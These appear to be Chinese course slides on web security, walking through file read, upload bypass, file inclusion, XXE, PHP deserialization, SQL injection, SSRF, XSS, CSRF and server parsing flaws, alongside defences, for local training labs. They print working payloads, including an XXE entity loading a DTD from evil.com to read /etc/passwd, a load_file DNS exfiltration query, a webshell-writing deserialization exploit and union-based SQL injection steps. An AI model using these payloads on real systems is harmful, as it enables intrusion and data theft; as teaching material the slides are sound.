黄玮
浏览器(Browser) | Web 服务器(Server) | 后端服务(Backend) | |
---|---|---|---|
业务 | UI / UE | CRUD / RESTful | Search / Cache / DB |
框架 | Vue.js | Laravel / Struts2 | - |
语言 | js / html / css | PHP / Java / Python / Ruby | SQL / DSL |
运行环境 | Chrome / Firefox | Nginx / php-fpm / Tomcat | K8S / ES / MySQL / MongoDB |
基础设施 | Win / macOS | Linux | Linux |
HTTP-message = Request | Response ; HTTP/1.1 messages
Status-Line = HTTP-Version SP Status-Code SP Reason-Phrase CRLF
# (可选步骤)新版 Kali 已在默认安装时禁用 root 用户
# 允许 root 用户远程 SSH 登录
# root 用户权限执行以下命令
sed -i.bak "s/#PermitRootLogin prohibit-password/PermitRootLogin yes/g" /etc/ssh/sshd_config
# 开启 SSH 服务
systemctl start ssh
# 设置 SSH 服务开机自启动
systemctl enable ssh
# 检查当前系统中是否已安装 PHP 命令行解释器
php -v
# 如果输出了 PHP 解释器版本信息,则跳过以下安装步骤
# 直接跳到「启动 PHP 内置开发版 Web 服务器」
# 安装当前发行版支持的最新版 PHP 命令行解释器
apt update && apt install php-cli
# 如果需要安装「旧版本」PHP 解释器,推荐使用 Docker
# https://hub.docker.com/_/php
# 安装完毕后检查当前安装的 PHP 命令行解释器版本
php -v
# 启动 PHP 内置开发版 Web 服务器
# 建议在 tmux 会话中执行该命令
php -S 0.0.0.0:8080
# 使用浏览器访问虚拟机的任意一个可用网卡上的 IP 地址
# 端口号设置为 8080
# 例如 http://127.0.0.1:8080/
访问 https://github.com/c4pr1c3/ctf-games 获得本课程定制的 Web 漏洞攻防训练环境。
或访问国内镜像仓库 https://gitee.com/c4pr1c3/ctf-games
<?php
$file = $_GET['file'];
echo file_get_contents($file);
curl "http://127.0.0.1:8080/exp-1.php?file=exp-1.php"
curl "http://127.0.0.1:8080/exp-1.php?file=/etc/passwd"
curl "http://127.0.0.1:8080/exp-1.php?file=/etc/shadow"
攻击者可以篡改 HTTP 请求消息
的任何一个部分
HMAC
进行参数签名
MD5
、SHA-XXX
之类的摘要算法对参数进行摘要计算,也不要使用基于“秘密盐值”的 MD5
、SHA-XXX
之类的摘要算法对参数进行摘要计算
消息完整性签名
校验失败,说明客户端尝试篡改请求参数攻击,代码逻辑直接跳过后续业务逻辑代码,给客户端返回统一的错误信息只要系统中直接或间接存在使用 C/C++
编写的代码,那么该系统就难以彻底摆脱「缓冲区溢出等」内存破坏类
攻击。
// 摘自 upload-labs 的 Pass-02/index.php
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) { // BUG 检查用户上传文件的「文件类型」是否在白名单上
$temp_file = $_FILES['upload_file']['tmp_name']; // 获取用户上传文件的临时存储文件路径
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']; // 获取用户上传文件的原始文件名
if (move_uploaded_file($temp_file, $img_path)) { // 按照用户指定的文件名存储文件到服务器上指定目录
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
PHP 5.3.4
版本正式修复了该漏洞
# 自行体验 PHP 5.3.0 环境中的 CVE-2006-7243 漏洞利用过程
docker run --rm -it c4pr1c3/dve-php:5.3.0 bash
文件头标识指纹匹配足够安全吗?
No!
getimagesize()
GIF
图片分辨率尺寸在合理范围内以 Apache
为例,可以使用 .htaccess
<Directory /upload>
Allowoverride All
</Directory>
<Location /upload>
Options None
Options +IncludesNoExec -ExecCGI
RemoveHandler .php .phtml .php3 .php4 .php5
RemoveType .php .phtml .php3 .php4 .php5
php_flag engine off
php_admin_flag engine off
AddType text/plain .html .htm .shtml .php
</Location>
攻击者上传精心构造的
.htaccess
来使得「上传目录」下对特定文件类型开启脚本解释执行功能
<Directory /upload>
Allowoverride All
</Directory>
<Location /upload>
Options +IncludesNoExec +ExecCGI
php_flag engine on
php_admin_flag engine on
AddType application/x-httpd-php .php666 # 将 .php666 文件扩展名视为 PHP 代码解释执行
php_value zend.multibyte 1 # 开启 PHP 引擎的多字节支持
php_value display_errors 1 # 开启 PHP 代码错误信息完全显示
</Location>
HTML meta
标签主键 (id) | 主体 (subject) | 客体 (object) |
---|---|---|
1 | Alice | /srv/www/upload/1.doc |
2 | Bob | /srv/www/upload/2.doc |
当发生文件访问请求时,可以通过如下的 SQL 语句来检查当前访问是否是授权操作。
-- 只有当查询结果 > 0 时才说明是授权访问,否则均是非授权访问行为
select count(id) from tb_acl where subject=%user_name% and object=%access_file_path%
https://host/admin/list.jsp?password=0c6ccf51b817885e&username=11335984ea80882d
上面的这个 URL 很容易被一次 XSS 攻击
截获到
会话预测(Session Prediction)指的是攻击者可以「预测」出服务端的合法「会话令牌」,从而达成身份冒用的效果。
跨站点请求伪造(CSRF)
的另一种表述文件包含
漏洞上述四个 PHP 函数都可以传入「变量」来动态加载 PHP 源代码文件
既可以是「本地文件」,也可以是「远程文件」
<?php
if (@$_GET['page']) {
include($_GET['page']);
} else {
include "show.php";
}
PHP 7.2.6 的默认运行时配置(php.ini)是禁止包含远程文件的,如下图所示是一次失败的远程文件包含漏洞利用行为尝试
如下图所示则是修改了 php.ini,设置
allow_url_include=On
之后再次执行得到的成功效果截图
上述例子中被包含的远程文件 remote.php
代码如下:
<?php
phpinfo();
需要注意的是,除了 allow_url_include=On
远程文件包含漏洞利用的依赖配置之外,还依赖于 allow_url_fopen=On
文件上传
漏洞利用才能达成目的php://input
php://input
的变量如下图所示,使用 curl 构造了一个这样的请求,其中 HTTP 请求体中对应的是一段 PHP 代码:在当前脚本目录下执行操作系统 ls 命令
注意这种漏洞利用方式,同样依赖于 PHP 的运行时配置 allow_url_include=On
,否则漏洞利用会失败,如下图所示
PHP %00
截断漏洞php.ini
open_basedir
函数,将其设置为指定目录,则只有该目录的文件允许被访问allow_url_include=Off
禁止远程文件包含XML External Entity(XML 外部实体)注入。
<!--1. XML 声明-->
<?xml version="1.0"?>
<!--2. 文档类型定义 Document Type Definition, DTD (可选)-->
<!DOCTYPE email [ <!--定义一个名为 email 类型的文档(内部 DTD)-->
<!ELEMENT email (to,from,title,body)> <!--定义 email 元素有四个子元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT title (#PCDATA)> <!--定义title元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]>
<!--3. 文档元素-->
<email>
<to>Bob</to>
<from>Alice</from>
<title>Cryptograpphy</title>
<body>We are famous guys.</body>
</email>
内部 DTD
- <!DOCTYPE 根元素 [元素声明]>
外部 DTD
<!DOCTYPE 根元素 SYSTEM "文件名">
<!-- 利用外部 DTD,读取系统文件 /etc/passwd -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///etc/passwd">]>
<a>
<!-- 读取到的 /etc/passwd 文件内容被保存在 passwd 变量中 -->
<value>&passwd;</value>
</a>
<!-- 参数实体定义 -->
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE aaa [
<!ENTITY %f SYSTEM "http://evil.com/evil.dtd">
%f;
]>
<aaa>&b;</aaa>
<!-- 其中 evil.dtd 文件内容如下 -->
<!ENTITY b SYSTEM "file:///etc/passwd">
上述 2 个例子中的 XML 实体
引用语法略有不同,但都是使用 ENTITY
关键字声明,可以当做「变量」来理解。
&
%
XML
代码中包含了 加载外部资源 的「恶意变量声明」XML
代码时 无限制 解析「恶意变量」声明语句只有 PHP 语言存在 XXE 漏洞吗?
kind | sax | etree | minidom | pulldom | xmlrpc |
---|---|---|---|---|---|
billion laughs | 易受攻击 | 易受攻击 | 易受攻击 | 易受攻击 | 易受攻击 |
quadratic blowup | 易受攻击 | 易受攻击 | 易受攻击 | 易受攻击 | 易受攻击 |
external entity expansion | 安全 (4) | 安全 (1) | 安全 (2) | 安全 (4) | 安全 (3) |
DTD retrieval | 安全 (4) | 安全 | 安全 | 安全 (4) | 安全 |
decompression bomb | 安全 | 安全 | 安全 | 安全 | 易受攻击 |
应用程序使用该功能来支持有效 共享或存储
对象状态
和前文的「文件包含」漏洞存在“合理性”类似: 反序列化
特性也有典型需求场景
⚠️ 但和「文件包含」功能一样,很快 上述 反序列化
过程也遭到攻击者的恶意利用 ⚠️
⚠️ 流行的服务端编程语言 PHP、Java 和 Python 等均有可能编写出包含反序列化漏洞的代码 ⚠️
⚠️ 前方高能,开始「烧脑🤯」⚠️
所有php里面的值都可以使用函数 serialize() 来返回一个包含字节流的字符串来表示。unserialize() 函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量,但是 不会保存对象的方法,只会保存类的名字。
<?php
// PHP 的对象序列化过程
class User {
private $mobile;
protected $age;
public $name;
public function say() {
echo "My name is $this->name\n";
}
public function __construct($age = NULL, $name = NULL, $mobile = NULL) {
echo "__construct is called\n";
$this->age = $age;
$this->name = $name;
$this->mobile = $mobile;
}
public function __toString() {
return "$this->name is $this->age old\n";
}
public function __sleep() {
echo "__sleep is called\n";
return array('age', 'name', 'mobile');
}
public function __wakeup() {
echo "__wakeup is called\n";
}
public function __destruct() {
echo "__destruct is called on $this->name \n";
}
}
$user = new User(22, "Zhang San", "13800138000"); // 对象创建时自动触发 __construct()
echo $user; // $user 对象被当做「字符串」访问,自动触发 __toString()
// 序列化
$s_user = serialize($user); // 序列化时自动触发 __sleep() 方法
file_put_contents("/tmp/ser.bin", $s_user); // 序列化结果写入文件方便查看输出结果里的「不可打印」字符
echo $s_user . "\n"; // 打印序列化结果
system("hexdump -C /tmp/ser.bin"); // 16 进制方式查看「序列化结果」
// 反序列化
$r_user = unserialize(file_get_contents("/tmp/ser.bin")); // 反序列化时触发 __wakeup() 方法
$r_user->name = "Li Si";
echo $r_user; // 被 echo 时触发「字符串」转换魔术方法 __toString
$r_user->say(); // 调用「恢复出来的对象」的方法
// 序列化过程结束
printf("EOF reached\n");
// 全部脚本执行完毕,自动触发 $user 对象的 __destruct()
// 注意对象销毁的顺序和对象的创建顺序是相反的
// 栈操作顺序:先创建,后销毁
// 执行结果如下
/*
__construct is called
Zhang San is 22 old
__sleep is called
O:4:"User":3:{s:6:"*age";i:22;s:4:"name";s:9:"Zhang San";s:12:"Usermobile";s:11:"13800138000";}
00000000 4f 3a 34 3a 22 55 73 65 72 22 3a 33 3a 7b 73 3a |O:4:"User":3:{s:|
00000010 36 3a 22 00 2a 00 61 67 65 22 3b 69 3a 32 32 3b |6:".*.age";i:22;|
00000020 73 3a 34 3a 22 6e 61 6d 65 22 3b 73 3a 39 3a 22 |s:4:"name";s:9:"|
00000030 5a 68 61 6e 67 20 53 61 6e 22 3b 73 3a 31 32 3a |Zhang San";s:12:|
00000040 22 00 55 73 65 72 00 6d 6f 62 69 6c 65 22 3b 73 |".User.mobile";s|
00000050 3a 31 31 3a 22 31 33 38 30 30 31 33 38 30 30 30 |:11:"13800138000|
00000060 22 3b 7d |";}|
00000063
__wakeup is called
Li Si is 22 old
My name is Li Si
EOF reached
__destruct is called on Li Si
__destruct is called on Zhang San
*/
看上去 User
对象经过「序列化」(调用 serialize()
函数)之后变成了以下「字符串」:
O:4:"User":3:{s:6:"*age";i:22;s:4:"name";s:9:"Zhang San";s:12:"Usermobile";s:11:"13800138000";}
protected
属性字段 age
左边的 *
(2a) 字符的左右两边被不可打印字符 \00
包围private
属性字段 mobile
左边拼接了字符串 \00User\00
其中 User
是类名经过一番简单的上下文字符串特征比对分析,我们可以总结出如下简单「序列化」规律:
<对象标识>:<类名长度>:"类名":类的成员变量个数:{
O:4:"User":3:{
<成员变量类型>:<成员变量名长度>:"<成员变量名>";<成员变量值类型>:<成员变量值>;
s:6:"\00*\00age";i:22;
<成员变量类型>:<成员变量名长度>:"<成员变量名>";<成员变量值类型>:<成员变量值长度>:<成员变量值>;
s:4:"name";s:9:"Zhang San";
<成员变量类型>:<成员变量名长度>:"<成员变量名>";<成员变量值类型>:<成员变量值长度>:<成员变量值>;}
s:12:"\00User\00mobile";s:11:""13800138000";}
至此,我们可以再来回味一下 PHP 官方文档中摘录如下这句话 的关键词为什么用的是 字节流 :
所有php里面的值都可以使用函数 serialize() 来返回一个包含 字节流 的字符串来表示。unserialize() 函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
基础知识普及完毕,现在终于可以看一下课本里的 PHP 反序列化漏洞原理代码了。
<?php
class cuc {
var $test = 'whatever';
function __wakeup() {
$fp = fopen("shell.php", "w");
fwrite($fp, $this->test);
fclose($fp);
echo '__wakeup';
}
}
$class = $_GET['test'];
unserialize($class);
<?php
class cuc {
var $test = 'whatever';
function __wakeup() {
$fp = fopen("shell.php", "w");
fwrite($fp, $this->test);
fclose($fp);
echo '__wakeup';
}
}
$payload_class = new cuc();
$payload_class->test = "<?php phpinfo(); ?>";
$payload = serialize($payload_class);
print(urlencode($payload)); // urlencode() 结果是为了方便使用 curl 时给 GET 参数赋值
所有 Web 应用程序(甚至连操作系统都没有例外)都依靠由第三方开发和提供的各种软件组件,包括开源组件和商用组件。
2014 年 4 月,知名开源安全组件 OpenSSL 被爆「心脏滴血」漏洞
即使自己编写的代码遵循了最佳安全实践,从代码层面规避了种种安全漏洞,但如果对于依赖的第三方组件出现的漏洞视而不见,开发上线的系统最终仍然难逃被漏洞攻击的命运
MS SQL server 6.5
的 SQL 注入的例子,如下所示:-- MS SQL server 支持批量执行 SQL 语句
-- 以下 %% %% 之间的内容是「来自 Web 客户端用户可以控制输入的数据」
SELECT * FROM table WHERE x=%%criteria from webpage user%%
-- 如果攻击者构造的输入数据如下
1 SELECT * FROM sysobjects
-- 则最终在数据库中执行的 SQL 语句就变为了
-- 一次执行了 2 条 SQL 语句
-- 且第 2 条 SQL 语句的执行结果会覆盖第一条 SQL 语句执行的结果
-- 最终攻击者成功访问到了 sysobjects 表中的所有数据
SELECT * FROM table WHERE x=1 SELECT * FROM sysobjects
上述例子展示了 SQL 注入攻击
的一个典型利用效果: 越权读取数据 。
git clone https://github.com/c4pr1c3/sqli-labs
cd sqli-labs && docker-compose up -d
# 浏览器访问 sqli-labs http://<ip-to-your-host>:7080/
# 点击页面上的「Setup/reset Database for labs」初始化数据库
# http://<ip-to-your-host>:7080/sql-connections/setup-db.php
# 浏览器访问 adminer 网页版方式管理数据库 http://<ip-to-your-host>:7081/
# 方便调试 SQL 注入 payload
# 如果需要通过命令行连接 mysql 容器可以自行修改 docker-compose.yml 增加数据库容器的端口映射规则
sqli-labs 里的 Lesson-11 Post - Error Based - Single quotes - String
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
/* 正常登录过程 */
SELECT username, password FROM users WHERE username='admin' and password='admin' LIMIT 0,1
/* SQL 注入登录过程 */
-- 用户名字段输入随意,例如 1 密码字段输入 1' or 1 -- (注意 -- 左右两边各有一个空格)
SELECT username, password FROM users WHERE username='admin' and password='1' or 1 -- ' LIMIT 0,1
-- 用户名字段输入 admin' -- (注意 -- 左右两边各有一个空格)密码字段输入随意
SELECT username, password FROM users WHERE username='admin' -- ' and password='1' LIMIT 0,1
利用 sqli-labs
里的 Lesson-2 GET - Error based - Intiger based
学习 有报错回显
经典 SQL 注入方法。
# 1. 判断注入点是否存在
http://192.168.56.144:7080/Less-2/?id=2'
# 2. 枚举字段数
http://192.168.56.144:7080/Less-2/?id=2 order by 1
http://192.168.56.144:7080/Less-2/?id=2 order by 2
http://192.168.56.144:7080/Less-2/?id=2 order by 3
# 4 时报错,说明当前查询对应的结果集数量(如果是单表查询则说明当前表的列数)为 3
http://192.168.56.144:7080/Less-2/?id=2 order by 4
# 3. 检查是否支持 union 查询
# 第一次页面返回结果无变化
http://192.168.56.144:7080/Less-2/?id=2 union all select 1,2,3 --
# 第二次页面返回结果原先 name 字段显示 2 password 字段显示 3
# 说明返回结果集合的第2和第3个字段值分别对应在这 2 个位置上回显输出
http://192.168.56.144:7080/Less-2/?id=2 union all select 1,2,3 limit 1,1 --
# 4. 获取数据库版本信息、数据库连接权限和当前数据库实例名
http://192.168.56.144:7080/Less-2/?id=2 union all select 1,concat(version(),0x3a,user(),0x3a,database()),3 limit 1,1 --
# 5. 获取表名
# mysql < 5 只能靠字典爆破方式获取表名和列名
# mysql >= 5 可以通过查询系统库 information_schema 获取
# 以下逐一枚举系统中所有表名
http://192.168.56.144:7080/Less-2/?id=2 union all select 1,table_name,3 from information_schema.tables where table_schema='security' limit 1,1 --
...
http://192.168.56.144:7080/Less-2/?id=2 union all select 1,table_name,3 from information_schema.tables where table_schema='security' limit 4,1 --
# 6. 查询列名
http://192.168.56.144:7080/Less-2/?id=2 union all select 1,column_name,3 from information_schema.columns where table_name='users' limit 1,1 --
http://192.168.56.144:7080/Less-2/?id=2 union all select 1,column_name,3 from information_schema.columns where table_name='users' limit 2,1 --
http://192.168.56.144:7080/Less-2/?id=2 union all select 1,column_name,3 from information_schema.columns where table_name='users' limit 3,1 --
# 7. 获取表内数据
http://192.168.56.144:7080/Less-2/?id=2 union all select 1,concat(id,0x3a,username,0x3a,password),3 from users limit 1,1 --
http://192.168.56.144:7080/Less-2/?id=2 union all select 1,concat(id,0x3a,username,0x3a,password),3 from users limit 2,1 --
...
# TODO 总结以上手工测试过程,编写自动化脚本
Web 应用防火墙
(WAF)SQL 注入
本身就是一种特殊的 命令注入
:针对 SQL 服务器
的 命令注入
以 PHP
为例(其他语言类似)
shell
命令过滤: escapeshellcmdshell
命令 参数 过滤:escapeshellarg同时使用以上这 2 个过滤函数是否防御效果加倍呢?
PHPMailer 小于 5.2.18 版本的 RCE 漏洞,官方在补丁中使用了 escapeshellarg() 来修复漏洞。但在 PHPMailer 的 mail.c
的函数内部又使用了一遍 escapeshellcmd()
,导致输入数据中经过 escapeshellarg()
处理后单引号先被 \ 转义一次,再用单引号对输入参数的左右两部分进行了包围处理。后来遇到 escapeshellcmd()
处理时,先前被添加的 \ 又被转义了一次,变成了 \,并且命令中所有的单引号又被转义了一次,最终导致输入参数又变回了一个可以被执行的操作系统命令。
截止目前,表达式注入漏洞均发生在 Java 程序之中,未来其他的 Web 开发技术也有可能出现这种类似的表达式存在,有鉴于已有的这些表达式漏洞的危害巨大。届时,表达式注入漏洞可能将成为 Web 应用程序漏洞挖掘的一个重要方向。
Server Side Request Foregery, SSRF
文件包含
、XXE 注入
、反序列化漏洞
都可以被用来构造和触发 SSRF
SSRF
不是一种独立 漏洞类型 ,而是一种 漏洞利用类型<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
由于 curl 支持的协议类型非常广泛(根据官网描述可知有不下 20 种网络协议均可以通过 curl 访问读取),因此上述漏洞代码可以访问诸如:服务器上本地文件(利用 file://
)和远程 Web 服务器上的文件(利用 http://
和 https://
)等等。
以 sqlmap 为例,在其众多数据获取技巧中提供了一个命令行参数 --dns-domain
就是实现了利用 SQL 数据库在执行一些特定函数时会对其中传入的参数当作域名进行查询这个特性的 基于 DNS 的带外数据回传
select load_file(concat('\\\\', version(), '.6a7087aa4e3b2c743ed1.d.zhack.ca\\1.txt'));
成功执行上述 SQL 代码将会在 dnsbin.zhack.ca 的 DNS 解析服务器上留下一条 DNS 查询记录,如下图所示:
load_file()
是否解析参数中包含的域名
secure_file_priv
缺省设置均为空,则上述攻击代码能得手身份认证
和 二次鉴权
可以有效的缓解 SSRF 的漏洞利用效果CSS
是为了避免和另一个术语 层叠样式表(Cascading Style Sheet)
产生歧义comp.sys.acorn.misc
新闻组的一条消息,如下页图所示。恶意 LiveScript(JavaScript 语言的前身) 可以用于盗取用户在访问指定恶意网页之前的所有的浏览历史记录
“古代” XSS
“古代” XSS
漏洞挖掘难度“没变”相比于年度漏洞总数的变化趋势,XSS 的漏洞总数变化非常稳定
“古代” XSS
漏洞挖掘难度“没变”众所周知「预编译 SQL 语句」的普及使得 SQL 注入漏洞挖掘难度越来越高,所以 SQL 注入漏洞的年度统计趋势是呈明显下降趋势的
“古代” XSS
利用价值“稳中有升”只看 XSS 漏洞数量的年度统计,“稳中有升”的曝光数量间接证明了其利用价值是“稳中有升”的:从投入产出比的经济学角度思考
“古代” XSS
的主要变化<?php
$msg = $_GET['msg'];
// 用户提交的消息被作为关键字提交到后台进行信息检索
// 页面同时把用户输入的搜索关键词展示出来
echo "<div>$msg</div>";
代码
<img src=1 onerror=alert(1)>
“攻击者”在访问包含上述 PHP 代码的网页时,在浏览器地址栏里输入查询参数 msg=
上述 XSS 攻击代码
后回车,将会看到当前浏览的页面出现一个「警告对话框」,显示内容为 1
。
Too young, too simple!
为什么 2018 年 8 月写作本节内容时是在 Firefox 浏览器上实验并截图的呢?因为彼时的 Google Chrome 有专门 XSS 的内置启用防御组件
xss-auditor
,这段代码在彼时的 Google Chrome 上是无法运行成功的!
前方「倒车」请注意,请猜猜哪个浏览器是 Google Chrome ?
SQL 注入的安全解决方案
时听过类似的观点?CSP 安全策略
、Cookie 安全机制里的 HttpOnly 属性
八卦结束,回到正题。
“反射型” XSS
反射型 XSS
只是简单地把用户输入的数据“反射”给浏览器“非持久型 XSS”
“反射型” XSS
( Reflective XSS,也被称为 “非持久型 XSS”
)客户端存储机制
存储 XSS 攻击代码“反射型” XSS
DOM Based XSS
这个概念,业界自此逐渐接受这个更精细化的分类客户端存储机制
实现了持久化的 DOM Based XSS
htmlspecialchar()
函数(且大多数情况下应在第二个参数设置 ENT_QUOTES
来转义单引号)htmlspecialchars()
是不够的,很多 RESTful 接口应用还会使用 json_encode()
去处理服务端脚本输出给客户端的 JavaScript 变量值innerText()
之类的函数来过滤服务端脚本对客户端变量的赋值Content Security Policy
的 HTTP 响应头SQL 注入漏洞
在有错误信息回显时的漏洞利用难度会大大降低CSRF 漏洞
http://victim.org/addFriend.do?friend=attacker@gmail.com
当一个已经登录 victim.org
的用户打开一个包含有 XSS
攻击代码的页面(或者通过一个隐藏的iframe),并且该 XSS
代码执行上述的 URL
请求,则该用户就会执行 addFriend
这个操作
结果:用户在不知情的情况下添加了攻击者作为自己的好友
2011 年 6 月 28 日
晚间的大规模 XSS+CSRF
蠕虫事件
hello-samy
是为了向世界上第一个 XSS+CSRF
蠕虫作者 samy
致敬HTTP Header
中的 Referer
字段进行验证HTTP Referer
字段记录了该 HTTP 请求的来源地址。在通常情况下,访问一个安全受限页面的请求必须来自于同一个网站
Laravel
等)Cookie
中,攻击者可以在不接触到 Cookie
的前提下完成身份验证
token
,且保证这个 token
与 Cookie
是毫无关联的token
是独立且不重复使用的Cookie
及 token
进行验证
token
被称为 csrftoken
,在 HTML 的表单中,该字段的输入域往往是隐藏的HTTP Header
中自定义的属性里csrftoken
作为 GET 参数进行请求,防止请求地址被记录到浏览器的地址栏,也防止 token 通过 Referer 泄露到其他网站以上 4 条防御方法通常是「组合使用」,而不是「单一」应用。
文件上传
漏洞一节我们介绍过了 CVE-2013-4547 这个 Nginx 文件名解析逻辑漏洞。~
字符时的缺陷导致服务器上任意文件可被枚举探测存在性
8.3
命名规则8.3
命名规则的一次滥用过程exampletest.txt
按照 8.3
命名规则会被自动转换为 EXAMPL~1.txt
。如果此时该目录下存在另一个文件名 examplefile.txt
,则按照 8.3
命名规则该文件会被自动转换为 EXAMPL~2.TXT
8.3
规则命名的文件和原文件名是等价的,操作系统会负责解析加载 8.3
规则命名的正确文件exampletest.txt
的文件,可以采用如下步骤发送 HTTP GET 请求进行枚举探测:http:/example.com/*~1*/.aspx
// 如果服务器返回状态码 404 说明服务器上存在不止一个 8.3 命名规则的文件
http:/example.com/e*~1*/.aspx
// 如果服务器返回状态码 404 说明服务器上存在不止一个字母 e 开头的文件
http:/example.com/eb*~1*/.aspx
// 如果服务器返回状态码 400 说明服务器上不存在字母 eb 开头的文件
http:/example.com/ex*~1*/.aspx
// 如果服务器返回状态码 404 说明服务器上存在不止一个字母 ex 开头的文件
// 如此不断增加探测字符串长度即可完成指定服务器文件的枚举探测
.jsp
扩展名的文件请求会在服务器端解析执行 JSP 代码后再输出结果给浏览器.JSP
时,只要该文件路径在 Windows 系统上确实存在有效,但由于不是 Tomcat 的 JSP 引擎所期望的全小写字母,则会按照默认的文本文件处理,即直接读取文件内容并输出返回给浏览器,从而导致 JSP 源代码泄漏故意访问一个不存在页面,借助服务器报错信息我们确认 Tomcat 版本是 4.1.27,存在该漏洞
访问
.JSP
扩展名时服务器直接泄漏了源代码
CVE-2013-4547
漏洞就可以导致 Web 服务器将非脚本文件扩展名对应的文件当作服务端脚本解析并执行
IIS 5.x/6.0 解析漏洞
IIS 6.0 文件解析漏洞
IIS 7.0/IIS 7.5/ Nginx < 0.8.3 畸形 URI 解析漏洞
Apache 解析漏洞
# IIS 5.x/6.0 解析漏洞
# 在网站下建立文件夹的名称中带有.asp、.asa等可执行脚本文件后缀为后缀的文件夹,其目录内的任何扩展名的文件都被 IIS 当作脚本文件来解析并执行
http://www.vul.com/vul.asp/vul.jpg
# IIS 6.0 文件解析漏洞
# IIS 6.0 分号后面的数据不被解析,也就是说 vul.asp;.jpg 将被当做 vul.asp 解析并执行
http://www.vul.com/vul.asp;.jpg
# IIS 7.0/IIS 7.5/ Nginx < 0.8.3 畸形 URI 解析漏洞
# 在默认 Fast-CGI 开启状况下,访问以下网址,服务器将把 vul.jpg 文件当做 PHP 解析并执行
http://www.vul.com/vul.jpg/vul.php
# Apache 解析漏洞
# Apache 对文件解析是从右到左开始判断解析。如果文件的扩展名没有配置默认的处理程序,就再往左判断解析。 如 vul.php.owf.rar,由于Apache无法解析 rar 和 owf 扩展名,但能够解析 php 扩展名,因此 Apache 会将 vul.php.owf.rar 当做 PHP 代码进行解析并执行
http://www.vul.com/vul.php.owf.rar
8.3 命名规则滥用漏洞
,精心构造的包含一堆 ~
字符的 URI 请求还可以导致 .NET 框架拒绝服务IIS 7.0/IIS 7.5/ Nginx < 0.8.3 畸形 URI 解析漏洞
secure_file_priv
参数正确配置对 SQL 注入时利用 DNS 进行带外数据传输的拦截作用以上 2 个例子分别体现了错误的服务配置和正确的服务配置在提升系统安全性方面的截然不同的两种效果
cgi.fix_pathinfo=0
即可封堵上这个解析漏洞默认安全(secure by default)
理念去保证默认配置的安全性⚠️ ⚠️ ⚠️ 需要特别注意的是 ⚠️ ⚠️ ⚠️